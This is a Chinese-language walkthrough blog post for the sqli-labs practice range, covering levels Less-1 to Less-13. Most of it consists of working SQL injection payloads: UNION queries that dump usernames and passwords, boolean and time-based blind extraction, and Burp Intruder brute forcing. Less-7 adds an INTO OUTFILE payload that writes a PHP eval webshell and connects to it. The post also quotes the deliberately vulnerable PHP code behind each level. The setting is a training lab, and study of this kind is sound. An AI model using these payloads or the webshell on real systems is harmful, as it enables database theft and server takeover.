Less靶場SQL隱碼攻擊通關寶典

网络安全维护世界發表於2024-05-18

這篇文章是一個 sqil-labs 靶場的保姆級教學,從安裝、配置、場景通關都有詳細的介紹,其中場景通關是我們這篇文章的重點。

首先我們要了解 sqli-labs 靶場是什麼?sqli-labs 靶場是剛剛接觸 SQL 注入的新手,瞭解 SQL 注入、練習 SQL 注入的一個很方便,很實用的一個靶場,配置簡單,操作簡單。方便新手學習和掌握 SQL 注入。

配置步驟

安裝 php-study

php-study V8 官方安裝地址

image-20240516101616683

下載後進行安裝,安裝路徑不要有中文路徑,然後雙擊執行。

啟動 Apache 服務和 MySQL 服務

可能遇到的問題:

  1. Apache 服務埠被佔用

    為了不影響 80 埠的服務,我們可以設定 Apache 服務的埠,我這裡改成了 82

    image-20240516102146700

    image-20240516102215298

  2. MySQL 服務跑不起來

    這是因為主機本身已經存在 MySQL 服務,我們可以不使用 php-study 配置中的 MySQL,就用主機本身即可,但版本可能需要注意,我這裡使用的 5.7.35

安裝 sqil-labs-master

連結:https://pan.baidu.com/s/1txSJppqlLwRFHDSS5Pneow?pwd=ttal
提取碼:ttal

提取,下載,解壓到 phpstudy_pro/WWW/ 目錄下

image-20240516103801585

修改 sqli-labs 的 MySQL 配置

image-20240516104145450

image-20240516104327885

進入這個配置檔案,更改其中的 MySQL 的使用者名稱和密碼,改成自己的,儲存退出。

建立網站

image-20240516105226504

image-20240516105529614

域名:與解壓完成的資料夾名保持一致

埠:與自己修改的一致,預設一致

根目錄:WWW/spil-labs-master

PHP 版本:推薦使用 php5.3.29 版本,沒有的可以點選“更多版本”下載

image-20240516105803970

開啟網站,並保證點選 Setup/reset Database for labs 時不報錯,出現一下介面

image-20240516105929081

image-20240516105949535

到此,恭喜你,配置完成!

闖關

SQL隱碼攻擊原理

Less 1 ~ 4 都是使用 GET 方法傳參,再根據報錯資訊判斷注入型別,再進行注入

Less-1

GET-Error based-Single quotes-String(基於錯誤的 GET 單引號字元型注入)

判斷注入型別

首先先注入正常的引數,網頁回顯正常的資訊

?id=1

image-20240516150231028

嘗試注入個單引號閉合,網頁回顯 MySQL 報錯,說明存在注入漏洞

?id=1'

image-20240516150529887

接下來加個註釋,我們觀察到把後端的 SQL 語句後面的內容註釋後,網頁回顯了正確的資訊。也就是說我們注入的單引號起到了一個閉合的作用,這是一個字元型注入。

?id=1'--+

image-20240516150843948

獲取資料庫資訊

接下來判斷表有幾列,使用 ORDER BY 子句進行一個排序,看一下對幾列有效

?id=1' ORDER BY 3--+

image-20240516151620620

再測試第四列,無回顯,說明表中一共有 3 列

?id=1' ORDER BY 4--+

image-20240516151703402

接下來判斷哪些列是我們能用的,首先令 id 引數的查詢不到結果,然後使用 UNION 進行組合查詢。網頁回顯了數字 2 和 3,說明第 2 列 和 第 3 列是我們可用的。

?id=99' UNION SELECT 1,2,3--+

image-20240516152014507

接下來開始爆資料庫名,我們選擇第 2 個位置作為顯示位。database() 函式可以回顯當前是同的資料庫,我們將它進行查詢。

?id=99' UNION SELECT 1,database(),3 --+

image-20240516152220142

接下來開始爆表明,在 information_schema.table 進行查詢,使用 group_concat() 函式合併查詢結果

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
(效果、原理相同,查詢結果相同)

image-20240516152515373

接下來爆 users 表的欄位,在 information_schema.columns 爆出來

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

image-20240516152659737

獲取目標資訊

接下來我們爆出 users 表中的資訊,這個表有使用者名稱和密碼這種敏感資訊

?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

image-20240516152828942

PHP 檔案 SQL 語句程式碼原始碼

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-2

GET-Error based-Intiger based (基於錯誤的 GET 整型注入)

判斷注入型別

先注入正常引數,網頁回顯正常的資訊

?id=1

image-20240516153635715

嘗試注入單引號閉合,網頁回顯 MySQL 報錯,說明存在注入漏洞

?id=1'

image-20240516153746944

加個註釋,將後端的 SQL 語句後面的內容註釋後,網頁仍然不能回顯正確的資訊。即我們注入的單引號沒有起到閉合的作用。得出結論:這是一個數字型注入。

數字型注入和字元型注入的區別在於我們不需要用單引號去閉合,其他操作基本相同

?id=1'--+

image-20240516154030415

獲取資料庫資訊

判斷表有幾列,使用 ORDER BY 子句進行排序,看對幾列有效

?id=1 ORDER BY 3--+ 有效

image-20240516154310261

?id=1 ORDER BY 4--+ 無回顯、無效

image-20240516154259521

即:有 3 列可用

接下來判斷哪些列是我們能用的,令 id 引數的查詢不到結果,然後是同 UNION 進行組合查詢。網頁回顯了數字 2 和 3,說明第二列和第三列是我們可以用的

?id=99 UNION SELECT 1,2,3--+

image-20240516154511267

爆資料庫名,我們選擇第二個位置作為顯示位

?id=99 UNION SELECT 1,database(),3 --+

image-20240516154611447

爆表名:

?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

image-20240516155719602

爆 users 表的欄位:

?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

image-20240516155825095

獲取目標資訊

爆 users 表中的資訊

?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99 UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

image-20240516160210799

PHP 檔案原始碼 SQL 語句:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-3

GET-Error based-Single quotes with twist string (基於錯誤的 GET 單引號變形字元型注入)

判斷注入型別

先輸入正常的引數,網頁回顯正常的資訊

?id=1

image-20240516160449125

嘗試單引號閉合,網頁回顯 MySQL 語句報錯,說明存在注入漏洞

image-20240516160708204

根據報錯資訊,我們需要一個括號開閉合,其他操作與前兩題相同

?id=1')--+

image-20240516160805754

獲取資料庫資訊

判斷表有幾列

?id=1') ORDER BY 3--+ 有回顯

?id=1') ORDER BY 4--+ 無回顯

即:有 3 列

判斷哪些列我們能用

?id=99') UNION SELECT 1,2,3--+

爆資料庫名

?id=99') UNION SELECT 1,database(),3 --+

爆表明

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

爆 users 表的欄位:

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

獲取目標資訊

爆出 users 表中的資訊

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99') UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

PHP 原始碼檔案 SQL 語句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-4

GET-Error based-Double Quotes-String(基於錯誤的 GET 雙引號字元型注入)

判斷注入型別

先輸入正常的引數,網頁回顯正常的資訊 ?id=1

嘗試輸入單引號,網頁回顯正確的資訊(沒有發生 MySQL 語句報錯)

?id=1'

image-20240516161435968

嘗試注入雙引號閉合,MySQL 語句報錯,說明存在注入漏洞,並且閉合符號是雙引號

?id=1"

image-20240516161536975

加上--+,註釋掉後面的 SQL 語句,其他步驟與前幾題操作相同

?id=1")--+

image-20240516161654530

... ...

PHP 檔案原始碼 SQL 語句:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less-5

GET-Double Injection-Single Quotes-String(雙注入 GET 單引號字元型注入)

判斷注入型別

先輸入正確的引數,頁面返回“You are in ... ”,但是沒有其他資訊

?id=1

image-20240516161927671

接下來注入個查不到的引數,頁面沒有任何反應。說明向這個網頁傳入引數是用於判斷 id 值是否存在,如果存在則返回資訊。由於網頁僅返回或不存在,因為我們可以使用 bool 注入(布林注入)

?id=9999

image-20240516162245409

判斷是否有 SQL 注入漏洞,注入個單引號進行閉合,網頁返回報錯資訊。

這說明網頁存在 SQL 注入漏洞,並且用單引號字元型注入

?id=1'

image-20240516162503747

獲取資料庫資訊

判斷表有幾列,使用 ORDER BY 子句進行一個排序,看一下對幾列有效。返回“You are in ...”,說明表至少有 3 行。

?id=1' ORDER BY 3--+

image-20240516162650657

測試第 4 列,未返回“You are in ...”,說明表中一共有 3 列

?id=1' ORDER BY 4--+

image-20240516162750171

得出資料庫名的長度,網頁只會返回“You are in ...”和無回顯 2 種情況,我們可以使用 length() 函式結合回顯資訊判斷資料庫長度

?id=1' AND LENGTH((SELECT database()))>5--+

image-20240516163020112

說明資料庫長度 > 5,再採用二分法測試:

測試 > 10,發現沒有“You are in ...”,說明資料庫長度 <= 10

測試 > 8,發現沒有“You are in ...”,說明資料庫長度 <= 8

測試 = 8,出現“You are in ...”,說明資料庫長度為 8

?id=1' AND LENGTH((SELECT database()))=8--+

image-20240516163355779

獲取資料庫名,此處不適用 UNION 聯合查詢(因為當 id 為一個查不到的引數時,頁面無顯示。即因為是布林注入)。我們使用 left() 函式,left(string, num) 函式返回字串 string 最左邊的 num 個字串。

我們首先使用 left() 函式判斷資料庫名的第一位是否是字元 a。注入之後無回顯,說明資料庫名第一位不是 a

?id=1' AND LEFT((SELECT database()), 1)='a' --+

我們使用抓包工具 Burp Suite 攔截抓取,併傳送到 Intruder 模組

image-20240516165041744

選擇字元 a 的部分為 payload 有效載荷

image-20240516165201750

新增有效載荷選項,大小寫字母、數字和下劃線

image-20240516165419355

發起攻擊,檢視響應結果。設定按長度升序排序。

image-20240516165655625

得到長度與其他差距較大的是字母 s

以此方法,最終得出資料庫名字為“scurity”

?id=1' AND LEFT((SELECT database()), 8)='security' --+

繼續使用此方法爆破錶名、欄位名及其其他資訊

PHP 檔案原始碼 SQL 語句:

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="3" color="#FFFF00">';
      print_r(mysql_error());
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-6

GET-Double Injection-Double Quotes-String(雙注入 GET 雙引號字元型注入)

判斷注入型別

首先注入正確的引數,頁面返回“You are in ...”,但是沒有其他資訊

?id=1

image-20240516171600620

注入一個查不到的引數,網頁沒有任何反應,說明這個網頁傳入引數是用於判斷 id 是否存在,如果存在則返回資訊。由於網頁僅返回存在或不存在,因此我們可以使用 bool 注入(布林注入)

?id=9999

image-20240516171745659

判斷是否有 SQL 漏洞,引入單引號進行閉合,網頁返回“You are in ...”

?id=1'

image-20240516171835501

注入雙引號閉合,網頁返回錯誤,說明網頁存在 SQL 注入,並使用雙引號字元型注入

?id=1"

image-20240516172029933

獲取資料庫資訊

與 less-5 類似,將 less-5 的單引號改為雙引號。判斷表有幾列

?id=1" ORDER BY 3--+ 頁面出現“You are in ...”

?id=1" ORDER BY 4--+ 頁面沒有出現“You are in ...”,說明一共有 3 列

得出資料庫名的長度,網頁只會返回“You are in ...”和無回顯 2 種情況,我們仍然使用 length() 函式結合回顯資訊判斷資料庫長度

?id=9999" OR LENGTH((SELECT database()))>5--+

與上一題類似,less-5 是 1',less-6 是 9999 "

結果得出,資料庫長度為 8

?id=9999" OR LENGTH((SELECT database()))=8--+

獲取資料庫名時,我們可以使用上述方法(使用 Brup 抓包爆破),這裡還有另一種注入方式。substr() 函式用於擷取字串,substr(string, start, length) 函式是 string 為被擷取的字串,start 為起始位置,length 為擷取長度。ASCLL() 函式返回字元的 ASCLL 碼值,大致思路是使用 substr() 函式擷取資料庫名的每個字元,然後判斷這個字元的 ASCLL 碼值

?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))>109--+

使用二分法,得出資料庫名的第一個字元 ASCLL 碼值為 115,即 s

以此為例,得出完成的資料庫名,後續內容也同樣採用這個方法。

PHP 檔案原始碼 SQL 語句:

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="3"  color= "#FFFF00">';
      print_r(mysql_error());
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-7

透過 SQL 注入,寫入一句話木馬檔案

開啟檔案讀取許可權

MySQL 使用 secure-file-priv 引數對檔案讀寫進行限制,當引數值為 null 時無法進行檔案匯出操作。使用這條命令可以檢視

show variables like '%secure%';

image-20240517191850700

透過修改 MySQL 下的 my.ini 配置檔案來啟用許可權,需要把下面這個字串寫入檔案中

secure_file_priv="/"

image-20240517193109778

然後儲存,並重啟 MySQL 服務 net stop/start mysql

檢查是否設定成功

image-20240517193200145

判斷注入型別

注入個正常的引數,網頁返回“You are in.... Use outfile......”。

?id=1

image-20240517193320026

注入單引號和單引號加括號,網頁回顯 SQL 報錯

?id=1'
?id=1')

注入單引號加上 2 個括號閉合,網頁回顯“You are in.... Use outfile......”,說明這是一個單引號和 2 個括號閉合的字元型注入

?id=1'))

image-20240517193523689

寫入檔案

我們需要先知道網頁所在的檔案路徑,從該題中的無法得到的,我們去 Less-1 題,在那獲取檔案路徑。這種操作也可以應用在實踐中,可以同時利用同一 Web 中的多個注入點。

http://sqil-labs-master:82/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

image-20240517193819252

使用 UNION 聯合查詢來注入引數,使用 into outfile 在網頁目錄下入一句話木馬。注意此處存在轉義問題,所有的“\”都要雙寫

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\Software\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\text.php"--+

image-20240518091208820

連線終端

使用蟻劍連線,url 為我們的 text.php 檔案路徑

密碼為:attack

image-20240518091532882

雙擊,可以顯示本機的檔案資源管理器中的檔案目錄,證明連線成功

image-20240518091620198

PHP 原始碼檔案中的 SQL 語句

$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font color= "#FFFF00">';	
      echo 'You are in.... Use outfile......';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      echo 'You have an error in your SQL syntax';
      //print_r(mysql_error());
      echo "</font>";  
}

Less-8

GET-Blind-Boolian Based-Single Quotes(布林型單引號 GET 盲注)

判斷注入型別

先注入正確的引數,網頁返回“You are in ...”,但是沒有其他資訊

?id=1

image-20240516185212732

然後注入一個查不到的引數,網頁沒有任何反應。說明向這個網頁傳入引數是用於判斷 id 值是否存在,如果存在則返回資訊

?id=9999

判斷是否有 SQL 注入漏洞,注入個單引號進行閉合,網頁無任何返回

?id=1'

此時還是注入單引號,但是後面註釋掉,網頁返回“You are in ...”。

這說明網頁存在 SQL 注入漏洞,並且是用單引號字元型注入。同時因為 SQL 語句發生錯誤,因此此處是 bool 盲注漏洞

?id=1'--+

image-20240516192920584

獲取資料庫資訊

和 Less-5 不同在於 Less-8 查詢發生錯誤時不會報錯,不過基本的操作與 Less-5 相似。

首先判斷有幾列,使用 ORDER BY 子句進行排序,看一下對幾列有效,返回“You are in ...”說明表至少有 3 行

?id=1' ORDER BY 3--+

測試 4 列

?id=1' ORDER BY 4--+

得出資料庫名的長度,網頁只會返回“You are in ...”和無回顯 2 種情況,我們使用 length() 函式結合回顯資訊判斷資料庫長度

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

使用 left() 函式判斷資料庫名的第一位是否是 a,注入之後無回顯,則不是,有回顯則是。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

之後都是與前幾題類似

PHP 檔案原始碼 SQL 語句:

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      //echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-9

GET-Blind-Time based-Single Quotes(基於時間的 GET 單引號盲注)

透過 sleep() 函式注入,觀察頁面響應時間,從而判斷注入的 SQL 語句是否正確

判斷注入型別

首先注入正確的引數,網頁返回“You are in ...”,但是沒有其他資訊

?id=1

接下來注入個查不到的引數,網頁還是返回“You are in ...”

?id=9999

注入個單引號進行閉合,網頁還是返回“You are in ...”

?id=1'

再嘗試下面三種方式:網頁仍然是“You are in ...”

?id=1'--+

?id=1"

?id=1"--+

我們轉換思路,MySQL 的 sleep() 函式能夠起到休眠的作用。為了方便除錯,我們使用 Burp 攔截工具中的重放器

?id=1 and sleep(1)--+ 使用 Burp 工具開啟攔截,並注入,傳送都重放器,傳送並觀察時間

image-20240517090815793

將引數改為 ?id=1' and sleep(1)--+ 觀察時間

image-20240517091201184

明顯響應時間變長,這是明顯的基於 時間盲注 的字元型 SQL 注入漏洞,我們需要使用 sleep() 函式製造時間差來進行注入。

獲取資料庫資訊

注入流程與 Less-5 類似,不過這裡的判斷標準不是回顯的資訊,而是響應時間。MySQL 的 IF 語句允許根據表示式的某個條件或結果來執行一組 SQL 語句,語法如下,當表示式 expr 為真時返回 value1 的值,否則返回 value2

IF (expr,value1,value2)

此處因為無法回顯任何東西,因此 ORDER BY 子句不能使用。我們使用 IF 語句結合 LENGTH() 函式對資料庫名長度進行判斷,如果猜測正確則令響應時間長一些。猜測資料庫名長度小於 10 時響應時間超過,所以資料庫名長度小於 10。

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

image-20240517092323500

透過二分法測試,最終確定資料庫長度為 8

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

使用窮舉法進行測試,得到資料庫名的第一個字元為 "s"

?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+

最終得到資料庫名字為“security”

接下來使用類似的方法,爆出表明、欄位名和其他資訊

PHP 原始碼檔案中 SQL 語句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-10

GET-Blind-Time based-double quotes(基於時間的雙引號盲注)

判斷注入型別

首先注入正確的引數,網頁返回“You are in ...”,但是沒有其他資訊

?id=1

再依次注入一下引數,網頁還是返回“You are in ...”,說明此時網頁不會回顯任何有價值的資訊

?id=9999
?id=1'
?id=1'--+
?id=1"
?id=1"--+

我們使用 Brup 的重發器模組,注入一下 2 種引數,觀察響應時間沒有異常變化

?id=1 and sleep(1)--+
?id=1' and sleep(1)--+

使用雙引號閉合時,明顯發現響應時間增加,因此這是基於 時間盲注 的字元型 SQL 注入漏洞

?id=1" and sleep(1)--+

image-20240517093911784

獲取資料庫資訊

Less-10 和 Less-9 差不多,只是 Less-10 使用的是雙引號進行閉合

?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+,響應時間超過 1s,索命資料庫名長度 < 10

使用二分法測試,得出資料庫長度為 8

?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

獲取資料庫名時,使用 left() 函式進行窮舉法效率較低,使用 substr() 函式結合 ASCLL() 函式進行判斷可以使用二分法快速縮小範圍。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+

使用二分法測試,最終得出資料庫路的第一個字元的 ASCLL 碼值為 115,即 s

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+

使用相同方法依次得出剩下的字元的 ASCLL 碼值,將所有的結果的字元連線到一起,就是資料庫的名字了

PHP 檔案原始碼的 SQL 語句

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo '<font size="5" color="#FFFF00">';	
      echo 'You are in...........';
      echo "<br>";
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

Less-11

POST-Error Based-Single quotes-String(基於錯誤的 POST 型單引號字元型注入)

判斷注入型別

我們先嚐試下網頁的正確用法,輸入一個正確的使用者名稱和密碼試試,網頁顯示登入成功

image-20240517102200800

接下來直接在“username” 中直接注入單引號,網頁返回報錯資訊,說明存在 SQL 注入

image-20240517102753069

注入萬能密碼試試,使用者名稱隨便寫點東西,使用 OR 運算子構造恆真條件,使用“#”註釋掉後面的內容注入,網頁提示我們注入成功,由於此時使用的時單引號閉合,因此這裡是字元型注入。

a' OR 1 = 1#

image-20240517103007056

使用 Burp 工具抓包,看到網頁是透過 POST 方式提交的,以及網頁的表單提交引數

image-20240517103136273

獲取資料庫資訊

判斷表有幾列,使用 ORDER BY 子句進行排序看下對有幾列有效。對第二列返回的結果排序,網頁返回正常

uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

file_1715914211857_787

對第 3 列對返回的結果排序,網頁返回不知帶哦第三列,說明一共有 2 列

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

image-20240517140522573

爆破資料庫名,首先注入錯誤的使用者名稱和密碼,使其找不到資料。使用 UNION 進行聯合查詢,查詢成功把資料庫名接到網頁回顯的地方

uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit

image-20240517151738129

爆表明,使用聯合查詢在“information_schema.tables”中查詢表名,表明來自“security”資料庫

uname=a&passwd=a' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479#&submit=Submit

image-20240517152204442

爆欄位名,使用聯合查詢在“information_schema.colums”中查詢表名,欄位名來自“security”資料庫中的“users”表

uname=a&passwd=a' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'#&submit=Submit

image-20240517152432554

獲取目標資訊

接下來爆出 users 表中的使用者名稱和密碼,構造出 payload 如下

uname=a&passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM security.users#&submit=Submit

image-20240517152616384

PHP 原始碼檔案的 SQL 語句

@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
  		
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in\n\n " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"  />';	
		
      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg" />';	
      echo "</font>";  
}

Less-12

POST-Error Based-Double quotes-String-with twist(基於錯誤的雙引號 POST 型字元型變形的注入)

判斷注入型別

Username 輸入框,隨便寫點東西並是同單引號閉合,使用 OR 運算子構造恆真條件,使用“#”註釋掉後面的內容注入。網頁提示登入失敗,並且沒有趕回報錯資訊,說明不是用單引號閉合

a' OR 1 = 1#

image-20240517152918118

注入以下的內容,都顯示登入失敗,並且沒有 SQL 語句回顯

a') OR 1 = 1#
a')) OR 1 = 1#

使用雙引號進行閉合時,發現 MySQL 語句返回報錯資訊。說明網頁透過雙引號進行閉合,但是此時語法不對

a" OR 1 = 1#

image-20240517153057568

新增一個括號,使用雙引號閉合,此時網頁提示我們登入成功。

綜上所述,網頁存在字元型注入漏洞,並且使用雙引號和括號進行閉合

a") OR 1 = 1#

image-20240517153325697

使用 Burp 攻擊攔擊,併傳送到重發器。

獲取資料庫資訊

Less-12 僅對字元的閉關方式不同與 Less-11,注入方式完全相同

  • 判斷表有幾列

    uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit

    uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit

  • 爆資料庫名

    uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit

  • 爆表明

    uname=a&passwd=a") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#&submit=Submit

  • 爆欄位名

    uname=a&passwd=a") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#&submit=Submit

獲取目標資訊

uname=a&passwd=a") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM security.users#&submit=Submit

image-20240517153924476

PHP 檔案原始碼中的 SQL 語句

$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-13

POST-Double Injection-Single quotes-String-twist(POST 單引號變形雙注入)

判斷資料型別

使用者名稱隨便寫並使用單引號閉合,使用 OR 運算子構造恆真條件,使用“#”註釋掉後面的內容注入。網頁提示登入失敗,並返回語法錯誤的提示資訊。

admin' OR 1 = 1#

image-20240517172012044

新增一個括號,單引號閉合,此時網頁提示我們登入成功。因此網頁存在字元型注入漏洞,並且使用單引號和括號進行閉合,注意到此網頁並沒有返回任何資訊,我們需要使用 Bool 盲注進行注入。

admin') OR 1 = 1#

image-20240517172442424

使用 Brup 抓包

獲取資料庫資訊

判斷表有幾列,使用 ORDER BY 子句進行排序看下對幾列有效。

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,網頁返回正常

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,SQL 語句報錯

說明是 2 列

使用 length() 函式判斷資料庫名字長度

uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit

使用二分法測試,最終得出資料庫名字長度為 8

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

獲取資料庫名,使用 left(string, num) 函式返回字串 String 最左邊的 num 個字元。首先使用判斷資料庫名的第一位是否是字元 a。注入之後返回登入失敗,說明資料庫名字第一位不是‘a’

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

使用 Burp 抓包,使用 intruder 模組爆破,可以參考 Less-5 的解題邏輯

PHP 檔案原始碼 SQL 語句

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      //echo 'Your Login name:'. $row['username'];
      //echo "<br>";
      //echo 'Your Password:' .$row['password'];
      //echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"   />';	
      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg"   />';	
